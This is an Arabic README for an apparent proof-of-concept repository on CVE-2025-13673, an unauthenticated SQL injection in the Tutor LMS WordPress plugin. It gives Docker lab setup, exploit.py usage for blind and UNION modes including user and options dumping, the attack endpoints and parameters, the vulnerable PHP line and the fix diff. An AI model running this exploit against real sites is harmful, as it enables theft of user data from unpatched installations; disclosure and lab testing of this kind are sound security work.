
CVE-2025-13673: إثبات مفهوم حقن SQL في Tutor LMS + مختبر Docker
حقن SQL غير مصادق عليه في إضافة WordPress Tutor LMS (<= 3.9.6) عبر المعلّمة coupon_code.
# 1. Clone and start the lab
git clone https://github.com/dinosn/CVE-2025-13673.git
cd CVE-2025-13673
./setup.sh # Deploys WordPress + Tutor LMS 3.9.3
# 2. Run the exploit
pip install requests # only dependency
# Unauthenticated (time-based blind — no credentials needed)
python3 exploit.py http://localhost:8080
# Authenticated (UNION-based — instant extraction)
python3 exploit.py http://localhost:8080 -u testuser -p test123 --all
| الحقل | القيمة |
|---|---|
| CVE | CVE-2025-13673 |
| المتأثر | Tutor LMS <= 3.9.6 |
| تم الإصلاح في | 3.9.7 |
| النوع | SQL Injection (CWE-89) |
| CVSS | 7.5 / 9.3 |
| المصادقة | لا شيء (أعمى) / مشترك (UNION) |
QueryHelper::prepare_where_clause() يقوم ببناء عبارات SQL WHERE عبر دمج السلاسل النصية الخام:
// helpers/QueryHelper.php — VULNERABLE
$value = is_numeric( $value ) ? $value : "'" . $value . "'";
لا يوجد تفلية. علامة اقتباس مفردة تكسر النص الحرفي وتسمح بإدخال SQL عشوائي.
غير مصادق عليه: POST / مع tutor_action=tutor_pay_now. خطاف init في WordPress يُرسل هذا لكل الزوار. يتم تضمين _tutor_nonce في كل صفحة أمامية ويكون صالحًا للجلسات المجهولة. استخراج البيانات عبر SLEEP().
مشترك فأكثر: POST /wp-admin/admin-ajax.php مع action=tutor_apply_coupon. يُعيد JSON مع بيانات UNION SELECT المحقونة — عمودان ينعكسان في الاستجابة للاستخراج الفوري.
- $val = is_numeric( $val ) ? $val : "'" . $val . "'";
+ // Value now passed through $wpdb->prepare('%s', $value)
usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [--course-id COURSE_ID]
[--dump-users] [--db-info] [--options] [--all]
[--delay DELAY]
url
الأوضاع:
الافتراضي (بدون -u/-p): حقن SQL أعمى زمني غير مصادق عليه
مع -u/-p: حقن UNION مصادق عليه (سريع)
أمثلة:
exploit.py http://target # أعمى غير مصادق
exploit.py http://target -u student -p pass --all # UNION مصادق
# Test version 3.9.5 (has esc_sql partial mitigation)
./setup.sh 3.9.5
# Test version 3.9.7 (should be fixed)
./setup.sh 3.9.7
| الملف | الوصف |
|---|---|
exploit.py | إثبات المفهوم ثنائي الوضع: أعمى غير مصادق + UNION مصادق |
setup.sh | نشر المختبر بأمر واحد |
docker-compose.yml | WordPress 6.7 + MySQL 8.0 |
لأغراض اختبار الأمن المصرح به والتعليم فقط.